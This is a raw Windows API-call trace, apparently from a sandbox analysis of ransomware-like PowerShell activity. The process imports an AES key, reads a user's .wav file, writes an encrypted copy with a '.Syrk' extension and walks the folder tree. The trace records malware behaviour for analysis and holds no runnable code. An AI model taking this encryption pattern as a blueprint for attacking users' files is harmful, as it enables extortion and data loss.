MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0235.261] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.261] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.261] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0235.261] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.261] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.261] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.261] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0235.261] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0235.262] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.262] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0235.262] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.262] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.262] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0235.263] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.263] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.263] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0235.263] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.263] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.263] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0235.263] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.264] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.264] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0235.264] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.264] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.264] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0235.264] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.264] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.264] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0235.264] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.265] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.265] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0235.265] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0235.265] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.265] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0235.265] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.266] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.266] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0235.266] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.266] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.266] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0235.266] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.266] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.266] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.266] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.267] EtwEventActivityIdControl () returned 0x0 [0235.267] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.267] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.267] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.267] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0235.268] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0235.270] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x2460e34*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69240) returned 1 [0235.270] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.270] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.271] EtwEventActivityIdControl () returned 0x0 [0235.271] EtwEventActivityIdControl () returned 0x0 [0235.271] EtwEventActivityIdControl () returned 0x0 [0235.277] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav")) returned 0x20 [0235.278] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav")) returned 0x20 [0235.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.278] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.278] EtwEventActivityIdControl () returned 0x0 [0235.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.279] EtwEventActivityIdControl () returned 0x0 [0235.279] EtwEventActivityIdControl () returned 0x0 [0235.279] EtwEventActivityIdControl () returned 0x0 [0235.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.280] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0235.281] GetFileType (hFile=0x454) returned 0x1 [0235.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.281] GetFileType (hFile=0x454) returned 0x1 [0235.281] EtwEventActivityIdControl () returned 0x0 [0235.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.281] EtwEventActivityIdControl () returned 0x0 [0235.281] EtwEventActivityIdControl () returned 0x0 [0235.281] EtwEventActivityIdControl () returned 0x0 [0235.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5e [0235.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk", nBufferLength=0x5e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk", lpFilePart=0x0) returned 0x5d [0235.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.283] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0235.288] GetFileType (hFile=0x458) returned 0x1 [0235.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.288] GetFileType (hFile=0x458) returned 0x1 [0235.288] EtwEventActivityIdControl () returned 0x0 [0235.288] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x2477490 | out: pbBuffer=0x2477490) returned 1 [0235.289] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.289] CryptDuplicateKey (in: hKey=0x5c69240, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5168) returned 1 [0235.290] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.290] CryptSetKeyParam (hKey=0x3b5168, dwParam=0x4, pbData=0x24787bc*=0x1, dwFlags=0x0) returned 1 [0235.290] CryptSetKeyParam (hKey=0x3b5168, dwParam=0x1, pbData=0x2478788, dwFlags=0x0) returned 1 [0235.290] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.290] EtwEventActivityIdControl () returned 0x0 [0235.290] EtwEventActivityIdControl () returned 0x0 [0235.290] EtwEventActivityIdControl () returned 0x0 [0235.291] EtwEventActivityIdControl () returned 0x0 [0235.292] ReadFile (in: hFile=0x454, lpBuffer=0x247b404, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x247b404*, lpNumberOfBytesRead=0x5a2e7d8*=0x9450, lpOverlapped=0x0) returned 1 [0235.293] CryptEncrypt (in: hKey=0x3b5168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x248f41c*, pdwDataLen=0x5a2e7cc*=0x9450, dwBufLen=0x9450 | out: pbData=0x248f41c*, pdwDataLen=0x5a2e7cc*=0x9450) returned 1 [0235.293] WriteFile (in: hFile=0x458, lpBuffer=0x247756c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x247756c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0235.295] WriteFile (in: hFile=0x458, lpBuffer=0x2490408*, nNumberOfBytesToWrite=0x8464, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2490408*, lpNumberOfBytesWritten=0x5a2e7b0*=0x8464, lpOverlapped=0x0) returned 1 [0235.295] ReadFile (in: hFile=0x454, lpBuffer=0x247b404, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x247b404*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0235.295] CryptEncrypt (in: hKey=0x3b5168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2498878*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2498878*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0235.295] CryptEncrypt (in: hKey=0x3b5168, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2498894*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2498894*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0235.296] WriteFile (in: hFile=0x458, lpBuffer=0x247756c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x247756c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0235.296] CloseHandle (hObject=0x458) returned 1 [0235.298] CloseHandle (hObject=0x454) returned 1 [0235.298] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.298] EtwEventActivityIdControl () returned 0x0 [0235.298] EtwEventActivityIdControl () returned 0x0 [0235.298] EtwEventActivityIdControl () returned 0x0 [0235.304] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\waroxvlp.wav")) returned 0x20 [0235.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0235.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", nBufferLength=0x59, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\wARoxvlp.wav", lpFilePart=0x0) returned 0x58 [0235.306] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.306] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.306] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0235.306] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0235.306] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.306] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.306] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0235.307] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0235.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0235.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0235.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0235.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0235.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 